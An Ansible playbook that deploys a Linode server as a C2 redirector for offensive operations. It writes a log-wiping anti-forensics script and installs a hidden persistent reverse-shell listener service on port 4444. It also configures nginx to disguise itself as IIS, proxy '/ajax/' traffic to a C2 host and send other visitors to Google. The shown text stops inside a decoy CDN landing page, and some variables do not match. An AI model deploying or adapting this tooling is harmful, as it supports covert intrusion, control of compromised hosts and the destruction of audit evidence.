--- - name: Deploy Linode redirector server hosts: localhost gather_facts: false connection: local vars: region: "{{ linode_region | default('us-east') }}" instance_type: "{{ size | default('g6-standard-1') }}" instance_name: "{{ redirector_name | default('redirector') }}" domain: "{{ domain | default('example.com') }}" redirector_subdomain: "cdn" linode_image: "linode/debian11" tasks: - name: Create Linode redirector instance community.general.linode_v4: label: "{{ instance_name }}" type: "{{ plan }}" region: "{{ region }}" image: "{{ linode_image }}" root_pass: "{{ lookup('password', '/dev/null length=24 chars=ascii_letters,digits') }}" authorized_keys: - "{{ ssh_key_content }}" state: present register: redirector_instance - name: Save redirector IP set_fact: redirector_ip: "{{ redirector_instance.instance.ipv4[0] }}" - name: Wait for SSH to become available wait_for: host: "{{ redirector_ip }}" port: 22 delay: 10 timeout: 300 state: started - name: Add redirector to inventory add_host: name: redirector ansible_host: "{{ redirector_ip }}" ansible_user: "{{ ssh_user | default('root') }}" ansible_ssh_private_key_file: "{{ ssh_key | replace('.pub', '') }}" groups: redirectors - name: Configure redirector hosts: redirectors become: true vars: domain: "{{ domain | default('example.com') }}" redirector_subdomain: "cdn" letsencrypt_email: "{{ letsencrypt_email | default('admin@example.com') }}" zero_logs: "{{ zero_logs | default(true) }}" shell_handler_port: 4444 c2_ip: "{{ hostvars['localhost']['c2_ip'] | default('127.0.0.1') }}" tasks: - name: Update apt cache apt: update_cache: yes - name: Install required packages apt: name: - nginx - certbot - python3-certbot-nginx - socat - netcat-openbsd - cryptsetup - secure-delete state: present - name: Create directories for OPSEC scripts file: path: "{{ item }}" state: directory mode: '0700' owner: root group: root with_items: - /opt/c2 - /opt/shell-handler - name: Create clean-logs.sh script copy: content: | #!/bin/bash # Zero-logs maintenance script umask 077 # Disable syslog temporarily systemctl stop rsyslog 2>/dev/null systemctl stop systemd-journald 2>/dev/null # Clear system logs find /var/log -type f -name "*.log" -exec truncate -s 0 {} \; find /var/log -type f -name "auth.log*" -exec truncate -s 0 {} \; find /var/log -type f -name "syslog*" -exec truncate -s 0 {} \; journalctl --vacuum-time=1s 2>/dev/null # Clear bash history for histfile in /root/.bash_history /home/*/.bash_history; do [ -f "$histfile" ] && cat /dev/null > "$histfile" 2>/dev/null done history -c # Clear NGINX logs for nginx_log in /var/log/nginx/*; do [ -f "$nginx_log" ] && cat /dev/null > "$nginx_log" 2>/dev/null done # Clear temporary directories rm -rf /tmp/* /var/tmp/* 2>/dev/null # Restart logging services systemctl start systemd-journald 2>/dev/null systemctl start rsyslog 2>/dev/null echo "[+] Log cleaning complete" exit 0 dest: /opt/c2/clean-logs.sh mode: '0700' owner: root group: root - name: Create shell handler script copy: content: | #!/bin/bash # Automated shell handler for catching and upgrading reverse shells # Configuration LISTEN_PORT={{ shell_handler_port }} C2_HOST="{{ c2_ip }}" # Set secure permissions umask 077 # Logging function log() { local timestamp=$(date +"%Y-%m-%d %H:%M:%S") local message="$1" echo "$timestamp - $message" | openssl enc -e -aes-256-cbc -pbkdf2 -pass pass:$RANDOM$RANDOM$RANDOM >> /opt/shell-handler/activity.log.enc } # Detect OS function detect_os() { local connection=$1 # Send commands to determine OS echo "echo \$OSTYPE" > $connection sleep 1 ostype=$(cat $connection | grep -i "linux\|darwin\|win") if [[ $ostype == *"win"* ]]; then echo "windows" elif [[ $ostype == *"darwin"* ]]; then echo "macos" elif [[ $ostype == *"linux"* ]]; then echo "linux" else # Try Windows-specific command echo "ver" > $connection sleep 1 winver=$(cat $connection | grep -i "microsoft windows") if [[ -n "$winver" ]]; then echo "windows" else # Default to Linux if we can't determine echo "linux" fi fi } # Main shell handler loop handle_connections() { log "Shell handler started on port $LISTEN_PORT" # Use mkfifo for bidirectional communication PIPE_PATH="/tmp/shell_handler_pipe" trap 'rm -f $PIPE_PATH' EXIT while true; do # Clean up existing pipe rm -f $PIPE_PATH mkfifo $PIPE_PATH log "Waiting for incoming connection..." nc -lvnp $LISTEN_PORT < $PIPE_PATH | tee $PIPE_PATH.output & NC_PID=$! # Wait for connection wait $NC_PID log "Connection closed, restarting listener..." rm -f $PIPE_PATH.output done } # Start the shell handler handle_connections dest: /opt/shell-handler/persistent-listener.sh mode: '0700' owner: root group: root - name: Create shell handler service copy: content: | [Unit] Description=Reverse Shell Handler Service After=network.target [Service] Type=simple User=root Group=root ExecStart=/opt/shell-handler/persistent-listener.sh Restart=always RestartSec=10 # Hide process information PrivateTmp=true ProtectSystem=full NoNewPrivileges=true # Make shell handler hard to find StandardOutput=null StandardError=null # Environment variables Environment="C2_HOST={{ c2_ip }}" Environment="LISTEN_PORT={{ shell_handler_port }}" [Install] WantedBy=multi-user.target dest: /etc/systemd/system/shell-handler.service mode: '0644' owner: root group: root - name: Configure NGINX for zero-logging copy: content: | user www-data; worker_processes auto; pid /run/nginx.pid; include /etc/nginx/modules-enabled/*.conf; events { worker_connections 1024; multi_accept on; } http { # Basic Settings sendfile on; tcp_nopush on; tcp_nodelay on; keepalive_timeout 65; types_hash_max_size 2048; server_tokens off; # MIME include /etc/nginx/mime.types; default_type application/octet-stream; # Zero-logs configuration access_log off; error_log /dev/null crit; # SSL Settings ssl_protocols TLSv1.2 TLSv1.3; ssl_prefer_server_ciphers on; ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305'; # Headers to confuse fingerprinting more_set_headers 'Server: Microsoft-IIS/8.5'; # Virtual Host Configs include /etc/nginx/conf.d/*.conf; include /etc/nginx/sites-enabled/*; } dest: /etc/nginx/nginx.conf mode: '0644' owner: root group: root when: zero_logs|bool - name: Configure NGINX default site for C2 redirection copy: content: | server { listen 80; listen [::]:80; server_name {{ redirector_subdomain }}.{{ domain }}; # Redirect to HTTPS return 301 https://$host$request_uri; } server { listen 443 ssl; listen [::]:443 ssl; server_name {{ redirector_subdomain }}.{{ domain }}; # SSL Configuration (self-signed until Let's Encrypt is set up) ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem; ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key; # Root directory root /var/www/html; index index.html; # Special URI patterns for C2 traffic location /ajax/ { proxy_pass http://{{ c2_ip }}:8888; proxy_http_version 1.1; proxy_set_header Host $host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Real-IP $remote_addr; proxy_set_header Upgrade $http_upgrade; proxy_set_header Connection "upgrade"; } # Default location location / { try_files $uri $uri/ =404; } # Disable logging for this server block access_log off; error_log /dev/null crit; } # Catch-all server block server { listen 80 default_server; listen [::]:80 default_server; # Redirect all unknown traffic to a legitimate-looking site return 301 https://www.google.com; # Disable logs access_log off; error_log /dev/null crit; } dest: /etc/nginx/sites-available/default mode: '0644' owner: root group: root - name: Create legitimate-looking index.html copy: content: |
Enterprise Content Delivery Network
This server is part of our global content delivery network, optimizing digital asset delivery for enterprise applications.
This is a private service. Unauthorized access is prohibited.